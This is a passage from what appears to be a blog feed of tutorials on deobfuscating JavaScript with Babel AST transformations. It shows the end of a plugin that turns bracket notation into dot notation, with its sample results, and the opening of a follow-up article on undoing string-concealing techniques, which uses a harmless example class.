class="hljs-regexp">/^(?!(?:do|if|in|for|let|new|try|var|case|else|enum|eval|false|null|this|true|void|with|break|catch|class|const|super|throw|while|yield|delete|export|import|public|return|static|switch|typeof|default|extends|finally|package|private|continue|debugger|function|arguments|interface|protected|implements|instanceof)$)[$A-Z\_a-z\xaa\xb5\xba\xc0-\xd6\xd8-\xf6\xf8-\u02c1\u02c6-\u02d1\u02e0-\u02e4\u02ec\u02ee\u0370-\u0374\u0376\u0377\u037a-\u037d\u0386\u0388-\u038a\u038c\u038e-\u03a1\u03a3-\u03f5\u03f7-\u0481\u048a-\u0527\u0531-\u0556\u0559\u0561-\u0587\u05d0-\u05ea\u05f0-\u05f2\u0620-\u064a\u066e\u066f\u0671-\u06d3\u06d5\u06e5\u06e6\u06ee\u06ef\u06fa-\u06fc\u06ff\u0710\u0712-\u072f\u074d-\u07a5\u07b1\u07ca-\u07ea\u07f4\u07f5\u07fa\u0800-\u0815\u081a\u0824\u0828\u0840-\u0858\u08a0\u08a2-\u08ac\u0904-\u0939\u093d\u0950\u0958-\u0961\u0971-\u0977\u0979-\u097f\u0985-\u098c\u098f\u0990\u0993-\u09a8\u09aa-\u09b0\u09b2\u09b6-\u09b9\u09bd\u09ce\u09dc\u09dd\u09df-\u09e1\u09f0\u09f1\u0a05-\u0a0a\u0a0f\u0a10\u0a13-\u0a28\u0a2a-\u0a30\u0a32\u0a33\u0a35\u0a36\u0a38\u0a39\u0a59-\u0a5c\u0a5e\u0a72-\u0a74\u0a85-\u0a8d\u0a8f-\u0a91\u0a93-\u0aa8\u0aaa-\u0ab0\u0ab2\u0ab3\u0ab5-\u0ab9\u0abd\u0ad0\u0ae0\u0ae1\u0b05-\u0b0c\u0b0f\u0b10\u0b13-\u0b28\u0b2a-\u0b30\u0b32\u0b33\u0b35-\u0b39\u0b3d\u0b5c\u0b5d\u0b5f-\u0b61\u0b71\u0b83\u0b85-\u0b8a\u0b8e-\u0b90\u0b92-\u0b95\u0b99\u0b9a\u0b9c\u0b9e\u0b9f\u0ba3\u0ba4\u0ba8-\u0baa\u0bae-\u0bb9\u0bd0\u0c05-\u0c0c\u0c0e-\u0c10\u0c12-\u0c28\u0c2a-\u0c33\u0c35-\u0c39\u0c3d\u0c58\u0c59\u0c60\u0c61\u0c85-\u0c8c\u0c8e-\u0c90\u0c92-\u0ca8\u0caa-\u0cb3\u0cb5-\u0cb9\u0cbd\u0cde\u0ce0\u0ce1\u0cf1\u0cf2\u0d05-\u0d0c\u0d0e-\u0d10\u0d12-\u0d3a\u0d3d\u0d4e\u0d60\u0d61\u0d7a-\u0d7f\u0d85-\u0d96\u0d9a-\u0db1\u0db3-\u0dbb\u0dbd\u0dc0-\u0dc6\u0e01-\u0e30\u0e32\u0e33\u0e40-\u0e46\u0e81\u0e82\u0e84\u0e87\u0e88\u0e8a\u0e8d\u0e94-\u0e97\u0e99-\u0e9f\u0ea1-\u0ea3\u0ea5\u0ea7\u0eaa\u0eab\u0ead-\u0eb0\u0eb2\u0eb3\u0ebd\u0ec0-\u0ec4\u0ec6\u0edc-\u0edf\u0f00\u0f40-\u0f47\u0f49-\u0f6c\u0f88-\u0f8c\u1000-\u102a\u103f\u1050-\u1055\u105a-\u105d\u1061\u1065\u1066\u106e-\u1070\u1075-\u1081\u108e\u10a0-\u10c5\u10c7\u10cd\u10d0-\u10fa\u10fc-\u1248\u124a-\u124d\u1250-\u1256\u1258\u125a-\u125d\u1260-\u1288\u128a-\u128d\u1290-\u12b0\u12b2-\u12b5\u12b8-\u12be\u12c0\u12c2-\u12c5\u12c8-\u12d6\u12d8-\u1310\u1312-\u1315\u1318-\u135a\u1380-\u138f\u13a0-\u13f4\u1401-\u166c\u166f-\u167f\u1681-\u169a\u16a0-\u16ea\u16ee-\u16f0\u1700-\u170c\u170e-\u1711\u1720-\u1731\u1740-\u1751\u1760-\u176c\u176e-\u1770\u1780-\u17b3\u17d7\u17dc\u1820-\u1877\u1880-\u18a8\u18aa\u18b0-\u18f5\u1900-\u191c\u1950-\u196d\u1970-\u1974\u1980-\u19ab\u19c1-\u19c7\u1a00-\u1a16\u1a20-\u1a54\u1aa7\u1b05-\u1b33\u1b45-\u1b4b\u1b83-\u1ba0\u1bae\u1baf\u1bba-\u1be5\u1c00-\u1c23\u1c4d-\u1c4f\u1c5a-\u1c7d\u1ce9-\u1cec\u1cee-\u1cf1\u1cf5\u1cf6\u1d00-\u1dbf\u1e00-\u1f15\u1f18-\u1f1d\u1f20-\u1f45\u1f48-\u1f4d\u1f50-\u1f57\u1f59\u1f5b\u1f5d\u1f5f-\u1f7d\u1f80-\u1fb4\u1fb6-\u1fbc\u1fbe\u1fc2-\u1fc4\u1fc6-\u1fcc\u1fd0-\u1fd3\u1fd6-\u1fdb\u1fe0-\u1fec\u1ff2-\u1ff4\u1ff6-\u1ffc\u2071\u207f\u2090-\u209c\u2102\u2107\u210a-\u2113\u2115\u2119-\u211d\u2124\u2126\u2128\u212a-\u212d\u212f-\u2139\u213c-\u213f\u2145-\u2149\u214e\u2160-\u2188\u2c00-\u2c2e\u2c30-\u2c5e\u2c60-\u2ce4\u2ceb-\u2cee\u2cf2\u2cf3\u2d00-\u2d25\u2d27\u2d2d\u2d30-\u2d67\u2d6f\u2d80-\u2d96\u2da0-\u2da6\u2da8-\u2dae\u2db0-\u2db6\u2db8-\u2dbe\u2dc0-\u2dc6\u2dc8-\u2dce\u2dd0-\u2dd6\u2dd8-\u2dde\u2e2f\u3005-\u3007\u3021-\u3029\u3031-\u3035\u3038-\u303c\u3041-\u3096\u309d-\u309f\u30a1-\u30fa\u30fc-\u30ff\u3105-\u312d\u3131-\u318e\u31a0-\u31ba\u31f0-\u31ff\u3400-\u4db5\u4e00-\u9fcc\ua000-\ua48c\ua4d0-\ua4fd\ua500-\ua60c\ua610-\ua61f\ua62a\ua62b\ua640-\ua66e\ua67f-\ua697\ua6a0-\ua6ef\ua717-\ua71f\ua722-\ua788\ua78b-\ua78e\ua790-\ua793\ua7a0-\ua7aa\ua7f8-\ua801\ua803-\ua805\ua807-\ua80a\ua80c-\ua822\ua840-\ua873\ua882-\ua8b3\ua8f2-\ua8f7\ua8fb\ua90a-\ua925\ua930-\ua946\ua960-\ua97c\ua984-\ua9b2\ua9cf\uaa00-\uaa28\uaa40-\uaa42\uaa44-\uaa4b\uaa60-\uaa76\uaa7a\uaa80-\uaaaf\uaab1\uaab5\uaab6\uaab9-\uaabd\uaac0\uaac2\uaadb-\uaadd\uaae0-\uaaea\uaaf2-\uaaf4\uab01-\uab06\uab09-\uab0e\uab11-\uab16\uab20-\uab26\uab28-\uab2e\uabc0-\uabe2\uac00-\ud7a3\ud7b0-\ud7c6\ud7cb-\ud7fb\uf900-\ufa6d\ufa70-\ufad9\ufb00-\ufb06\ufb13-\ufb17\ufb1d\ufb1f-\ufb28\ufb2a-\ufb36\ufb38-\ufb3c\ufb3e\ufb40\ufb41\ufb43\ufb44\ufb46-\ufbb1\ufbd3-\ufd3d\ufd50-\ufd8f\ufd92-\ufdc7\ufdf0-\ufdfb\ufe70-\ufe74\ufe76-\ufefc\uff21-\uff3a\uff41-\uff5a\uff66-\uffbe\uffc2-\uffc7\uffca-\uffcf\uffd2-\uffd7\uffda-\uffdc][$A-Z\_a-z\xaa\xb5\xba\xc0-\xd6\xd8-\xf6\xf8-\u02c1\u02c6-\u02d1\u02e0-\u02e4\u02ec\u02ee\u0370-\u0374\u0376\u0377\u037a-\u037d\u0386\u0388-\u038a\u038c\u038e-\u03a1\u03a3-\u03f5\u03f7-\u0481\u048a-\u0527\u0531-\u0556\u0559\u0561-\u0587\u05d0-\u05ea\u05f0-\u05f2\u0620-\u064a\u066e\u066f\u0671-\u06d3\u06d5\u06e5\u06e6\u06ee\u06ef\u06fa-\u06fc\u06ff\u0710\u0712-\u072f\u074d-\u07a5\u07b1\u07ca-\u07ea\u07f4\u07f5\u07fa\u0800-\u0815\u081a\u0824\u0828\u0840-\u0858\u08a0\u08a2-\u08ac\u0904-\u0939\u093d\u0950\u0958-\u0961\u0971-\u0977\u0979-\u097f\u0985-\u098c\u098f\u0990\u0993-\u09a8\u09aa-\u09b0\u09b2\u09b6-\u09b9\u09bd\u09ce\u09dc\u09dd\u09df-\u09e1\u09f0\u09f1\u0a05-\u0a0a\u0a0f\u0a10\u0a13-\u0a28\u0a2a-\u0a30\u0a32\u0a33\u0a35\u0a36\u0a38\u0a39\u0a59-\u0a5c\u0a5e\u0a72-\u0a74\u0a85-\u0a8d\u0a8f-\u0a91\u0a93-\u0aa8\u0aaa-\u0ab0\u0ab2\u0ab3\u0ab5-\u0ab9\u0abd\u0ad0\u0ae0\u0ae1\u0b05-\u0b0c\u0b0f\u0b10\u0b13-\u0b28\u0b2a-\u0b30\u0b32\u0b33\u0b35-\u0b39\u0b3d\u0b5c\u0b5d\u0b5f-\u0b61\u0b71\u0b83\u0b85-\u0b8a\u0b8e-\u0b90\u0b92-\u0b95\u0b99\u0b9a\u0b9c\u0b9e\u0b9f\u0ba3\u0ba4\u0ba8-\u0baa\u0bae-\u0bb9\u0bd0\u0c05-\u0c0c\u0c0e-\u0c10\u0c12-\u0c28\u0c2a-\u0c33\u0c35-\u0c39\u0c3d\u0c58\u0c59\u0c60\u0c61\u0c85-\u0c8c\u0c8e-\u0c90\u0c92-\u0ca8\u0caa-\u0cb3\u0cb5-\u0cb9\u0cbd\u0cde\u0ce0\u0ce1\u0cf1\u0cf2\u0d05-\u0d0c\u0d0e-\u0d10\u0d12-\u0d3a\u0d3d\u0d4e\u0d60\u0d61\u0d7a-\u0d7f\u0d85-\u0d96\u0d9a-\u0db1\u0db3-\u0dbb\u0dbd\u0dc0-\u0dc6\u0e01-\u0e30\u0e32\u0e33\u0e40-\u0e46\u0e81\u0e82\u0e84\u0e87\u0e88\u0e8a\u0e8d\u0e94-\u0e97\u0e99-\u0e9f\u0ea1-\u0ea3\u0ea5\u0ea7\u0eaa\u0eab\u0ead-\u0eb0\u0eb2\u0eb3\u0ebd\u0ec0-\u0ec4\u0ec6\u0edc-\u0edf\u0f00\u0f40-\u0f47\u0f49-\u0f6c\u0f88-\u0f8c\u1000-\u102a\u103f\u1050-\u1055\u105a-\u105d\u1061\u1065\u1066\u106e-\u1070\u1075-\u1081\u108e\u10a0-\u10c5\u10c7\u10cd\u10d0-\u10fa\u10fc-\u1248\u124a-\u124d\u1250-\u1256\u1258\u125a-\u125d\u1260-\u1288\u128a-\u128d\u1290-\u12b0\u12b2-\u12b5\u12b8-\u12be\u12c0\u12c2-\u12c5\u12c8-\u12d6\u12d8-\u1310\u1312-\u1315\u1318-\u135a\u1380-\u138f\u13a0-\u13f4\u1401-\u166c\u166f-\u167f\u1681-\u169a\u16a0-\u16ea\u16ee-\u16f0\u1700-\u170c\u170e-\u1711\u1720-\u1731\u1740-\u1751\u1760-\u176c\u176e-\u1770\u1780-\u17b3\u17d7\u17dc\u1820-\u1877\u1880-\u18a8\u18aa\u18b0-\u18f5\u1900-\u191c\u1950-\u196d\u1970-\u1974\u1980-\u19ab\u19c1-\u19c7\u1a00-\u1a16\u1a20-\u1a54\u1aa7\u1b05-\u1b33\u1b45-\u1b4b\u1b83-\u1ba0\u1bae\u1baf\u1bba-\u1be5\u1c00-\u1c23\u1c4d-\u1c4f\u1c5a-\u1c7d\u1ce9-\u1cec\u1cee-\u1cf1\u1cf5\u1cf6\u1d00-\u1dbf\u1e00-\u1f15\u1f18-\u1f1d\u1f20-\u1f45\u1f48-\u1f4d\u1f50-\u1f57\u1f59\u1f5b\u1f5d\u1f5f-\u1f7d\u1f80-\u1fb4\u1fb6-\u1fbc\u1fbe\u1fc2-\u1fc4\u1fc6-\u1fcc\u1fd0-\u1fd3\u1fd6-\u1fdb\u1fe0-\u1fec\u1ff2-\u1ff4\u1ff6-\u1ffc\u2071\u207f\u2090-\u209c\u2102\u2107\u210a-\u2113\u2115\u2119-\u211d\u2124\u2126\u2128\u212a-\u212d\u212f-\u2139\u213c-\u213f\u2145-\u2149\u214e\u2160-\u2188\u2c00-\u2c2e\u2c30-\u2c5e\u2c60-\u2ce4\u2ceb-\u2cee\u2cf2\u2cf3\u2d00-\u2d25\u2d27\u2d2d\u2d30-\u2d67\u2d6f\u2d80-\u2d96\u2da0-\u2da6\u2da8-\u2dae\u2db0-\u2db6\u2db8-\u2dbe\u2dc0-\u2dc6\u2dc8-\u2dce\u2dd0-\u2dd6\u2dd8-\u2dde\u2e2f\u3005-\u3007\u3021-\u3029\u3031-\u3035\u3038-\u303c\u3041-\u3096\u309d-\u309f\u30a1-\u30fa\u30fc-\u30ff\u3105-\u312d\u3131-\u318e\u31a0-\u31ba\u31f0-\u31ff\u3400-\u4db5\u4e00-\u9fcc\ua000-\ua48c\ua4d0-\ua4fd\ua500-\ua60c\ua610-\ua61f\ua62a\ua62b\ua640-\ua66e\ua67f-\ua697\ua6a0-\ua6ef\ua717-\ua71f\ua722-\ua788\ua78b-\ua78e\ua790-\ua793\ua7a0-\ua7aa\ua7f8-\ua801\ua803-\ua805\ua807-\ua80a\ua80c-\ua822\ua840-\ua873\ua882-\ua8b3\ua8f2-\ua8f7\ua8fb\ua90a-\ua925\ua930-\ua946\ua960-\ua97c\ua984-\ua9b2\ua9cf\uaa00-\uaa28\uaa40-\uaa42\uaa44-\uaa4b\uaa60-\uaa76\uaa7a\uaa80-\uaaaf\uaab1\uaab5\uaab6\uaab9-\uaabd\uaac0\uaac2\uaadb-\uaadd\uaae0-\uaaea\uaaf2-\uaaf4\uab01-\uab06\uab09-\uab0e\uab11-\uab16\uab20-\uab26\uab28-\uab2e\uabc0-\uabe2\uac00-\ud7a3\ud7b0-\ud7c6\ud7cb-\ud7fb\uf900-\ufa6d\ufa70-\ufad9\ufb00-\ufb06\ufb13-\ufb17\ufb1d\ufb1f-\ufb28\ufb2a-\ufb36\ufb38-\ufb3c\ufb3e\ufb40\ufb41\ufb43\ufb44\ufb46-\ufbb1\ufbd3-\ufd3d\ufd50-\ufd8f\ufd92-\ufdc7\ufdf0-\ufdfb\ufe70-\ufe74\ufe76-\ufefc\uff21-\uff3a\uff41-\uff5a\uff66-\uffbe\uffc2-\uffc7\uffca-\uffcf\uffd2-\uffd7\uffda-\uffdc0-9\u0300-\u036f\u0483-\u0487\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u064b-\u0669\u0670\u06d6-\u06dc\u06df-\u06e4\u06e7\u06e8\u06ea-\u06ed\u06f0-\u06f9\u0711\u0730-\u074a\u07a6-\u07b0\u07c0-\u07c9\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0859-\u085b\u08e4-\u08fe\u0900-\u0903\u093a-\u093c\u093e-\u094f\u0951-\u0957\u0962\u0963\u0966-\u096f\u0981-\u0983\u09bc\u09be-\u09c4\u09c7\u09c8\u09cb-\u09cd\u09d7\u09e2\u09e3\u09e6-\u09ef\u0a01-\u0a03\u0a3c\u0a3e-\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a66-\u0a71\u0a75\u0a81-\u0a83\u0abc\u0abe-\u0ac5\u0ac7-\u0ac9\u0acb-\u0acd\u0ae2\u0ae3\u0ae6-\u0aef\u0b01-\u0b03\u0b3c\u0b3e-\u0b44\u0b47\u0b48\u0b4b-\u0b4d\u0b56\u0b57\u0b62\u0b63\u0b66-\u0b6f\u0b82\u0bbe-\u0bc2\u0bc6-\u0bc8\u0bca-\u0bcd\u0bd7\u0be6-\u0bef\u0c01-\u0c03\u0c3e-\u0c44\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62\u0c63\u0c66-\u0c6f\u0c82\u0c83\u0cbc\u0cbe-\u0cc4\u0cc6-\u0cc8\u0cca-\u0ccd\u0cd5\u0cd6\u0ce2\u0ce3\u0ce6-\u0cef\u0d02\u0d03\u0d3e-\u0d44\u0d46-\u0d48\u0d4a-\u0d4d\u0d57\u0d62\u0d63\u0d66-\u0d6f\u0d82\u0d83\u0dca\u0dcf-\u0dd4\u0dd6\u0dd8-\u0ddf\u0df2\u0df3\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0e50-\u0e59\u0eb1\u0eb4-\u0eb9\u0ebb\u0ebc\u0ec8-\u0ecd\u0ed0-\u0ed9\u0f18\u0f19\u0f20-\u0f29\u0f35\u0f37\u0f39\u0f3e\u0f3f\u0f71-\u0f84\u0f86\u0f87\u0f8d-\u0f97\u0f99-\u0fbc\u0fc6\u102b-\u103e\u1040-\u1049\u1056-\u1059\u105e-\u1060\u1062-\u1064\u1067-\u106d\u1071-\u1074\u1082-\u108d\u108f-\u109d\u135d-\u135f\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17b4-\u17d3\u17dd\u17e0-\u17e9\u180b-\u180d\u1810-\u1819\u18a9\u1920-\u192b\u1930-\u193b\u1946-\u194f\u19b0-\u19c0\u19c8\u19c9\u19d0-\u19d9\u1a17-\u1a1b\u1a55-\u1a5e\u1a60-\u1a7c\u1a7f-\u1a89\u1a90-\u1a99\u1b00-\u1b04\u1b34-\u1b44\u1b50-\u1b59\u1b6b-\u1b73\u1b80-\u1b82\u1ba1-\u1bad\u1bb0-\u1bb9\u1be6-\u1bf3\u1c24-\u1c37\u1c40-\u1c49\u1c50-\u1c59\u1cd0-\u1cd2\u1cd4-\u1ce8\u1ced\u1cf2-\u1cf4\u1dc0-\u1de6\u1dfc-\u1dff\u200c\u200d\u203f\u2040\u2054\u20d0-\u20dc\u20e1\u20e5-\u20f0\u2cef-\u2cf1\u2d7f\u2de0-\u2dff\u302a-\u302f\u3099\u309a\ua620-\ua629\ua66f\ua674-\ua67d\ua69f\ua6f0\ua6f1\ua802\ua806\ua80b\ua823-\ua827\ua880\ua881\ua8b4-\ua8c4\ua8d0-\ua8d9\ua8e0-\ua8f1\ua900-\ua909\ua926-\ua92d\ua947-\ua953\ua980-\ua983\ua9b3-\ua9c0\ua9d0-\ua9d9\uaa29-\uaa36\uaa43\uaa4c\uaa4d\uaa50-\uaa59\uaa7b\uaab0\uaab2-\uaab4\uaab7\uaab8\uaabe\uaabf\uaac1\uaaeb-\uaaef\uaaf5\uaaf6\uabe3-\uabea\uabec\uabed\uabf0-\uabf9\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\ufe33\ufe34\ufe4d-\ufe4f\uff10-\uff19\uff3f]*$/</span>;<br><br> <span class="hljs-keyword">const</span> bracketToDotVisitor = {<br> <span class="hljs-title class_">MemberExpression</span>(path) {<br> <span class="hljs-keyword">let</span> { object, property, computed } = path.<span class="hljs-property">node</span>;<br> <span class="hljs-keyword">if</span> (!computed) <span class="hljs-keyword">return</span>; <span class="hljs-comment">// Verify computed property is false</span><br> <span class="hljs-keyword">if</span> (!t.<span class="hljs-title function_">isStringLiteral</span>(property)) <span class="hljs-keyword">return</span>; <span class="hljs-comment">// Verify property is a string literal</span><br> <span class="hljs-keyword">if</span> (!validIdentifierRegex.<span class="hljs-title function_">test</span>(property.<span class="hljs-property">value</span>)) <span class="hljs-keyword">return</span>; <span class="hljs-comment">// Verify that the property being accessed is a valid identifier</span><br><br> <span class="hljs-comment">// If conditions pass:</span><br><br> <span class="hljs-comment">// Replace the node with a new one</span><br> path.<span class="hljs-title function_">replaceWith</span>(<br> t.<span class="hljs-title class_">MemberExpression</span>(object, t.<span class="hljs-title function_">identifier</span>(property.<span class="hljs-property">value</span>), <span class="hljs-literal">false</span>)<br> );<br> },<br> };<br><br> <span class="hljs-comment">// Execute the visitor</span><br> <span class="hljs-title function_">traverse</span>(ast, bracketToDotVisitor);<br><br> <span class="hljs-comment">// Code Beautification</span><br> <span class="hljs-keyword">let</span> deobfCode = <span class="hljs-title function_">generate</span>(ast, { <span class="hljs-attr">comments</span>: <span class="hljs-literal">false</span> }).<span class="hljs-property">code</span>;<br> deobfCode = <span class="hljs-title function_">beautify</span>(deobfCode, {<br> <span class="hljs-attr">indent_size</span>: <span class="hljs-number">2</span>,<br> <span class="hljs-attr">space_in_empty_paren</span>: <span class="hljs-literal">true</span>,<br> });<br> <span class="hljs-comment">// Output the deobfuscated result</span><br> <span class="hljs-title function_">writeCodeToFile</span>(deobfCode);<br>}<br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Writes the deobfuscated code to output.js</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> code The deobfuscated code</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">writeCodeToFile</span>(<span class="hljs-params">code</span>) {<br> <span class="hljs-keyword">let</span> outputPath = <span class="hljs-string">"output.js"</span>;<br> <span class="hljs-title function_">writeFile</span>(outputPath, code, <span class="hljs-function">(<span class="hljs-params">err</span>) =></span> {<br> <span class="hljs-keyword">if</span> (err) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"Error writing file"</span>, err);<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">`Wrote file to <span class="hljs-subst">${outputPath}</span>`</span>);<br> }<br> });<br>}<br><br><span class="hljs-title function_">deobfuscate</span>(<span class="hljs-title function_">readFileSync</span>(<span class="hljs-string">"./obfuscated.js"</span>, <span class="hljs-string">"utf8"</span>));<br><br></code></pre></td></tr></table></figure><p>After processing the obfuscated script with the babel plugin above, we get the following result:</p><h1 id="Post-Deobfuscation-Result"><a href="#Post-Deobfuscation-Result" class="headerlink" title="Post-Deobfuscation Result"></a>Post-Deobfuscation Result</h1><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">let</span> foo = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>, <span class="hljs-number">7</span>, <span class="hljs-number">8</span>, <span class="hljs-number">9</span>];<br><span class="hljs-keyword">let</span> bar = <span class="hljs-variable language_">window</span>.<span class="hljs-property">navigator</span>.<span class="hljs-property">userAgent</span>;<br><span class="hljs-keyword">let</span> baz = <span class="hljs-title class_">Date</span>.<span class="hljs-title function_">now</span>();<br><span class="hljs-keyword">let</span> qux = foo[<span class="hljs-number">3</span>];<br></code></pre></td></tr></table></figure><p>And the dot operator is restored!</p><h1 id="Conclusion"><a href="#Conclusion" class="headerlink" title="Conclusion"></a>Conclusion</h1><p>So, today we discussed a simple but efficient way to restore the dot operator for MemberExpressions. After converting bracket notation to dot notation, it becomes a lot easier for us to differentiate between object member accessors and array element accessors. This is because of our <em>StringLiteral</em> check on `path.node.property’.</p><p>I’ll leave you with one useful piece of advice. You should probably run this plugin as a sort of “clean up transformer”, only after replacing all constant variables with their actual value. This is because if you don’t substitute in the actual value of a variable, this plugin won’t have any useful effect. For example, running the plugin on this code:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">let</span> foo = <span class="hljs-string">"navigator"</span>;<br><span class="hljs-keyword">let</span> bar = <span class="hljs-variable language_">window</span>[foo];<br></code></pre></td></tr></table></figure><p>Will give us:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">let</span> foo = <span class="hljs-string">"navigator"</span>;<br><span class="hljs-keyword">let</span> bar = <span class="hljs-variable language_">window</span>[foo];<br></code></pre></td></tr></table></figure><p>Which is the exact same thing. To restore it to <code>let bar = window.navigator</code>, we first must replace all references to the constant variable <code>foo</code> with its actual value, <code>"navigator"</code>. If you want to learn how to do that, you can read <a href="https://steakenthusiast.github.io/2022/05/31/Deobfuscating-Javascript-via-AST-Replacing-References-to-Constant-Variables-with-Their-Actual-Value/">my article on replacing constant variables with their actual value</a>.</p><p>If you’re interested, you can find the source code for all the examples in <a href="https://github.com/SteakEnthusiast/Supplementary-AST-Based-Deobfuscation-Materials">this repository</a>.</p><p>I hope this article helped you learn something new. Thanks for reading, and happy reversing!</p>]]></content>
<categories>
<category>Deobfuscation</category>
</categories>
<tags>
<tag>Javascript</tag>
<tag>Deobfuscation</tag>
<tag>Babel</tag>
<tag>Reverse Engineering</tag>
</tags>
</entry>
<entry>
<title>Deobfuscating Javascript via AST: Reversing Various String Concealing Techniques</title>
<link href="/2022/05/22/Deobfuscating-Javascript-via-AST-Manipulation-Various-String-Concealing-Techniques/"/>
<url>/2022/05/22/Deobfuscating-Javascript-via-AST-Manipulation-Various-String-Concealing-Techniques/</url>
<content type="html"><![CDATA[<h1 id="Preface"><a href="#Preface" class="headerlink" title="Preface"></a>Preface</h1><p>This article assumes a preliminary understanding of Abstract Syntax Tree structure and <a href="https://babeljs.io/">BabelJS</a>. <a href="http://steakenthusiast.github.io/2022/05/21/Deobfuscating-Javascript-via-AST-An-Introduction-to-Babel/">Click Here</a> to read my introductory article on the usage of Babel.</p><h1 id="What-is-String-Concealing"><a href="#What-is-String-Concealing" class="headerlink" title="What is String Concealing?"></a>What is String Concealing?</h1><p>In JavaScript, string concealing is an obfuscation technique that transforms code in a way that disguises references to string literals. After doing so, the code becomes much less readable to a human at first glance. This can be done in multiple different ways, including but not limited to:</p><ul><li>Encoding the string as a hexadecimal/Unicode representation,</li><li>Splitting a single string into multiple substrings, then concatenating them,</li><li>Storing all string literals in a single array and referencing an element in the array when a string value is required</li><li>Using an algorithm to encrypt strings, then calling a corresponding decryption algorithm on the encrypted value whenever its value needs to be read</li></ul><p>In the following sections, I will provide some examples of these techniques in action and discuss how to reverse them.</p><h1 id="Examples"><a href="#Examples" class="headerlink" title="Examples"></a>Examples</h1><h2 id="Example-1-Hexadecimal-x2F-Unicode-Escape-Sequence-Representations"><a href="#Example-1-Hexadecimal-x2F-Unicode-Escape-Sequence-Representations" class="headerlink" title="Example #1: Hexadecimal/Unicode Escape Sequence Representations"></a>Example #1: Hexadecimal/Unicode Escape Sequence Representations</h2><p>Rather than storing a string as a literal, an author may choose to store it as an <em><a href="https://riptutorial.com/javascript/example/19374/escape-sequence-types">escape sequence</a></em>. The javascript engine will parse the actual string literal value of an escaped string before it is used or printed to the console. However, it’s virtually unreadable to an ordinary human. Below is an example of a sample obfuscated using this technique.</p><h3 id="Original-Source-Code"><a href="#Original-Source-Code" class="headerlink" title="Original Source Code"></a>Original Source Code</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><code class="hljs Javascript"><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * "Input.js"</span><br><span class="hljs-comment"> * Original, unobfuscated code.</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment">*/</span><br><br><span class="hljs-keyword">class</span> <span class="hljs-title class_">Person</span> {<br> <span class="hljs-title function_">constructor</span>(<span class="hljs-params">name, school, emoji</span>) {<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> = name;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> = school;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favEmoji</span> = emoji;<br> }<br> <span class="hljs-title function_">sayHello</span>(<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">let</span> helloStatement =<br> <span class="hljs-string">"Hello, my name is "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> +<br> <span class="hljs-string">". I go to "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> +<br> <span class="hljs-string">" and my favourite emoji is "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favEmoji</span>;<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(helloStatement);<br> }<br>}<br><br><span class="hljs-keyword">const</span> examplePerson = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Person</span>(<span class="hljs-string">"David"</span>, <span class="hljs-string">"University of Obfuscation"</span>, <span class="hljs-string">"🤪"</span>);<br><br>examplePerson.<span class="hljs-title function_">sayHello</span>();<br><br></code></pre></td></tr></table></figure><h3 id="Post-Obfuscation-Code"><a href="#Post-Obfuscation-Code" class="headerlink" title="Post-Obfuscation Code"></a>Post-Obfuscation Code</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span 